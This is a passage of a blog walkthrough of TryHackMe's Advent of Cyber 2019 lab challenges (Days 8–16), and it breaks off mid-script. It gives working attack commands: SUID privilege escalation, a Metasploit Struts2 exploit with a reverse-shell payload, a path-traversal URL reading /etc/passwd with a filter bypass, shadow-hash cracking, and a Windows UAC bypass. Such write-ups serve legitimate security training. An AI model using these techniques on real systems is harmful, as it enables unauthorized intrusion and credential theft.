exploit<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Do the Nmap fast scan using the following command<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -p- -v --min-parallelism 100 &lt;machine IP><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/nmap1-2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2916\" title=\"Advent of Cyber days25 THM\u63d2\u56fe35\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe35\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/nmap2-2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2917\" title=\"Advent of Cyber days25 THM\u63d2\u56fe36\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe36\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Look like we have something on port 65534, a further scan of the port is a result of open SSH. Login to the machine via SSH shell with the following command<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh -p 65534 holly@&lt;machine IP><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After that, search for SUID files.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>find \/ -perm \/4000 2>\/dev\/null<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/igor.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2912\" title=\"Advent of Cyber days25 THM\u63d2\u56fe37\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe37\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We found something interesting on the list of finding. By checking the&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/gtfobins.github.io\/gtfobins\/find\/\" rel=\"nofollow\" >find SUID from GTFObin<\/a>, we can escalate as user igor.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/igor2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2913\" title=\"Advent of Cyber days25 THM\u63d2\u56fe38\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe38\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">To escalate as the root user, we need to find a suspicious SUID file. By looking at the timestamp, we found a recent SUID when the machine is created.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/root-2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2914\" title=\"Advent of Cyber days25 THM\u63d2\u56fe39\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe39\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s run the command.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/root2-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2915\" title=\"Advent of Cyber days25 THM\u63d2\u56fe40\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe40\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We can literally do anything as the root by running the binary.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day9\">Day 9 (Task 14): Python requests<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Visiting the website will return the JSON result. Copy the following script and run it with python.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/json.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2918\" title=\"Advent of Cyber days25 THM\u63d2\u56fe41\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe41\" \/><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport json\n\npath = \"f\"\nvalue = \"\"\nhost = \"https:\/\/10.10.112.87:3000\/\"\n\nwhile 1:\n\tresponse = requests.get(host + path)\n\tdict_data = json.loads(response.text)\n\tpath = dict_data&#91;\"next\"]\n\tif path == \"end\":\n\t\tbreak\n\tvalue = value + dict_data&#91;\"value\"]\n\n\nprint(value)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/py.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2919\" title=\"Advent of Cyber days25 THM\u63d2\u56fe42\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe42\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day10\">Day 10 (Task 15): Metasploit<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">First of all, perform an Nmap scan and search for any possible open port.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/nmap-2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2920\" title=\"Advent of Cyber days25 THM\u63d2\u56fe43\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe43\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Look like we have the webserver running on the machine. After that, do a Nikto scan on the webserver and search for any vulnerability.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/nikto.png?fit=1024%2C47&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2921\" title=\"Advent of Cyber days25 THM\u63d2\u56fe44\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe44\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The server is vulnerable to strutshock or&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2017-5638\" rel=\"nofollow\" >CVE-2017-5638<\/a>. By checking the information on the CVE, we understand that the vulnerable somehow related to the Jakarta Multipart parser in Apache Struts. Fire up our Metasploit with the following command.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfconsole<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After that search for struts2 modules.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/msf.png?fit=1024%2C227&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2922\" title=\"Advent of Cyber days25 THM\u63d2\u56fe45\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe45\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We have located the vulnerability. Use the module and do the following configuration.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf5 > exploit\/multi\/http\/struts2_content_type_ognl\nmsf5 > set RHOST &lt;machine IP>\nmsf5 > set RPORT 80\nmsf5 > set TARGETURI \/showcase.action\nmsf5 > set payload linux\/x86\/meterpreter\/reverse_tcp\nmsf5 > exploit<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/shell.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2923\" title=\"Advent of Cyber days25 THM\u63d2\u56fe46\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe46\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">And get the open shell. Enumerate your way to \/home\/santa to capture the credentials. Remember, the machine you are currently exploiting is inside a docker which means you are not entirely controlling the machine even you are a root user. There is a way to escape the docker. Visit&nbsp;<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/tryhackme.com\/room\/runcescape\" rel=\"nofollow\" >this room<\/a>&nbsp;to learn more.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Login to the SSH with the newly captured credentials. To extract the specific line from the file, simply input the following command.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sed '100q;d' naughty_list.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The above command extract the 100th line from the naughty_list.txt. Give it a try!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day11\">Day 11 (Task 16): Accessing the file system<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Task 16-1: NFS<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Check the NFS of the server with the following command<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>showmount -e &lt;machine IP><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/nfs1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2926\" title=\"Advent of Cyber days25 THM\u63d2\u56fe47\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe47\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">To mount with the NFS, firstly create a directory named nfs after that mount the NFS with the following command.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mount &lt;machine IP>:\/opt\/files \/root\/Desktop\/THM\/xmas\/nfs<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/nfs2.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2927\" title=\"Advent of Cyber days25 THM\u63d2\u56fe48\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe48\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Remember to unmount the nfs after you are done with the challenge.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>umount -f -l nfs<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Task 16-2: FTP<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Visit the FTP server with the following command.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>FTP &lt;machine IP><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Log in to the server with user&nbsp;<strong>anonymous<\/strong>&nbsp;with a blank password.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/ftp-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2928\" title=\"Advent of Cyber days25 THM\u63d2\u56fe49\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe49\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Download the file with&nbsp;<strong>get<\/strong>&nbsp;and read the txt file for the SQL username and password.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Task 16-3: MySQL<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Login to the SQL server with the following command.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mysql -u &lt;username> -h 10.10.149.117 -p&lt;password><\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Make sure the -p is stick with the password (no space). After that, navigate and read the flag with the following SQL command.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mysql > SHOW DATABASES;\nmysql > USE data;\nmysql > SELECT * FROM USERS<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/sql.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2929\" title=\"Advent of Cyber days25 THM\u63d2\u56fe50\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe50\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day12\">Day 12 (Task 17): File decryption<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Download and unzip the file. To do an md5 checksum on the file 1, simply use this command.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>md5sum note1.txt.gpg<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/md5.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2935\" title=\"Advent of Cyber days25 THM\u63d2\u56fe51\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe51\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Punch in the command to decrypt the gpg file<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gpg note1.txt.gpg<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The password is&nbsp;<strong>25daysofchristmas<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To decrypt the asymmetrically encrypted file with the private key, follow the following command.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>openssl rsautl -decrypt -inkey private.key -in note2_encrypted.txt -out note2.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The password is&nbsp;<strong>hello<\/strong>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day13\">Day 13 (Task 18): Capture the flag<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">This task is created by the darkstar. I named this task as CTF as it involves some enumeration, exploits and privilege escalation. You might encounter bugs while performing some recon and exploit. First and foremost, let\u2019s do a full scan on the server with ping skip.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nmap -Pn -A -v &lt;machine IP><\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/nmap-3.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2936\" title=\"Advent of Cyber days25 THM\u63d2\u56fe52\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe52\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We have two services running on the machine, specifically port 80 (HTTP) and port 3389 (RDP). Let\u2019s do a visit to the HTTP server.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/default.png?fit=1024%2C441&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2937\" title=\"Advent of Cyber days25 THM\u63d2\u56fe53\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe53\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">A default windows server welcome page. Huh\u2026 nothing we can do here except brute-forcing the server. Time to fire up our gobuster<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gobuster dir -u &lt;machine IP> -w \/usr\/share\/dirbuster\/wordlists\/directory-list-2.3-medium.txt<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Alright, we got an interesting directory called&nbsp;<strong>\/retro<\/strong>. Let\u2019s do some reading on the blog. After a short recon, I stumbled across the following in one of the blog posts.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/comment.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2938\" title=\"Advent of Cyber days25 THM\u63d2\u56fe54\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe54\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">It could be the password for the webserver. Actually it is, you can log in into the WordPress dashboard with username&nbsp;<strong>wade<\/strong>&nbsp;and the password.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/wp-2.png?fit=1024%2C370&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2939\" title=\"Advent of Cyber days25 THM\u63d2\u56fe55\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe55\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Stop right there! There is nothing you can do with the WordPress dashboard that including generates a reverse shell page. Still, remember we have one more service yet to explore, the RDP. For this task, I\u2019m going to use&nbsp;<strong>remmina<\/strong>&nbsp;instead of rdesktop, this is because I faced some problems with connecting the server with rdesktop.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Using the username wade and the password you just found to log in to the RDP service.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/rdp.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2940\" title=\"Advent of Cyber days25 THM\u63d2\u56fe56\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe56\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We are now inside the desktop. If you open up the google chrome and check on the bookmark bar, you come across a CVE number.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/cve.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2941\" title=\"Advent of Cyber days25 THM\u63d2\u56fe57\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe57\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After a short google search on the CVE, I came across the following&nbsp;<a href=\"https:\/\/github.com\/jas502n\/CVE-2019-1388\/blob\/master\/CVE-2019-1388.gif\" data-fancybox=\"gallery\" rel=\"nofollow\" >gif<\/a>. It explains how the exploit works. The executable is located inside the recycle bin, restore and run it. However, you will get the infamous grey ok button that stops you from proceeding with the exploit.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/grey.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2942\" title=\"Advent of Cyber days25 THM\u63d2\u56fe58\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe58\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">A big thanks to the creator of the room, darkstar. The grey button is intentioned for the challenge. The author mentioned the chrome is installed and set as default for administrator user. Such setup causes a glitch in the Windows Server 2016.&nbsp;<strong>There is a consistent fix for the glitch which opens up both Chrome and IE browsers and then launches the exploit<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Darkstar also mentioned there are two other usual ways on fixing the bug which is<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Purely luck (My situation)<\/li><li>Spamming the okay button<\/li><\/ol>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/web3-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2947\" title=\"Advent of Cyber days25 THM\u63d2\u56fe59\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe59\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">I have tested the above fix mentioned by darkstar it works like a charm.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/solve.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2948\" title=\"Advent of Cyber days25 THM\u63d2\u56fe60\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe60\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day14\">Day 14 (Task 19): AWS<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Since we have the bucket name, it makes the thing quite simple. Visit the following URL<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;advent-bucket-one.s3.amazonaws.com\/<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/aws.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2949\" title=\"Advent of Cyber days25 THM\u63d2\u56fe61\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe61\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After that read the content inside the text file.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/aws1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2950\" title=\"Advent of Cyber days25 THM\u63d2\u56fe62\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe62\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day15\">Day 15 (Task 20): Local file inclusion (LFI)<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Visit the website and look at the source code.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/note.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2951\" title=\"Advent of Cyber days25 THM\u63d2\u56fe63\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe63\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Look like the server pulling the text file from view\/notes directory. Take note to the URL directory which in charge of pulling the file, \/get-file\/. We need to draft a URL for pulling the \/etc\/passwd from the server.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:\/\/&lt;machine IP>\/get-file\/..\/..\/..\/..\/..\/..\/..\/..\/..\/etc\/passwd<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Put the return directory symbol (..\/) as much as you like, the more the better. we are doing directory traverse now.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/faile.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2952\" title=\"Advent of Cyber days25 THM\u63d2\u56fe64\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe64\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We have a situation right now. To bypass the filter, try URL encoding by changing the \u2018\/\u2019 into %2f.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>http:\/\/&lt;machine IP>\/get-file\/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i2.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/passwd.png?fit=1024%2C279&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2953\" title=\"Advent of Cyber days25 THM\u63d2\u56fe65\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe65\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Now we talking. Find charlie\u2019s hash file from the shadow file.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i1.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/shadow.png?fit=1024%2C89&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2954\" title=\"Advent of Cyber days25 THM\u63d2\u56fe66\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe66\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Copy the hash and crack it using hashcat.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>hashcat -a 0 -m 1800 hash \/usr\/share\/wordlists\/rockyou.txt --force<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/hash-1.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2955\" title=\"Advent of Cyber days25 THM\u63d2\u56fe67\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe67\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">After cracking the hash, login to user Charlie\u2019s ssh shell and capture the flag.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" data-original=\"https:\/\/i0.wp.com\/www.embeddedhacker.com\/wp-content\/uploads\/2019\/12\/flag.png?w=1200&amp;ssl=1\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" class=\"wp-image-2956\" title=\"Advent of Cyber days25 THM\u63d2\u56fe68\" alt=\"Advent of Cyber days25 THM\u63d2\u56fe68\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"day16\">Day 16 (Task 21): Python file system<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">You are required to write a python to unzip, calculate and find the content of files. Make sure you understand the code.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Task 21-1: Count the number of the unzipped file<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The following is the python code for the task.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import zipfile\nimport os\n\ncount = 0\n\n#Extract the primary file\nwith zipfile.ZipFile('final-final-compressed.zip','r') as zip_decom1:\n\tzip_decom1.extractall('decom1')\n\n#read and extract each zip file to decom2\nListFile = os.listdir('decom1')\nfor l in ListFile:\n\twith zipfile.ZipFile('decom1\/' + l,'r') as zip_decom2:\n\t\tzip_decom2.extractall('decom2')\n\n# calculate the number of file (exclude .zip)\nListFile = os.listdir('decom2')\nfor l in ListFile:\n\tif 'zip' not in l:\n\t\tcount = count + 1\nprint(\"Number of extracted file: \" + str(count))<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">Task 21-2: Find the file with specific metadata<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">This task requires the challenger to find the number of files labeled with Version 1.1.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>mport os\nimport exiftool\n\nm_count = 0\nfile = &#91;]\n\n# Read all the metadata in decom2 and scan for 'version 1.1' metadata\nListFile = os.listdir('.\/')\nfor l in ListFile:\n file.append(l)\n\nwith exiftool.ExifTool() as et:\n metadata = et.get_metadata_batch(file)\nfor d in metadata:\n try:\n if(d&#91;u'XMP:Version']):\n m_count = m_count + 1\n except:\n 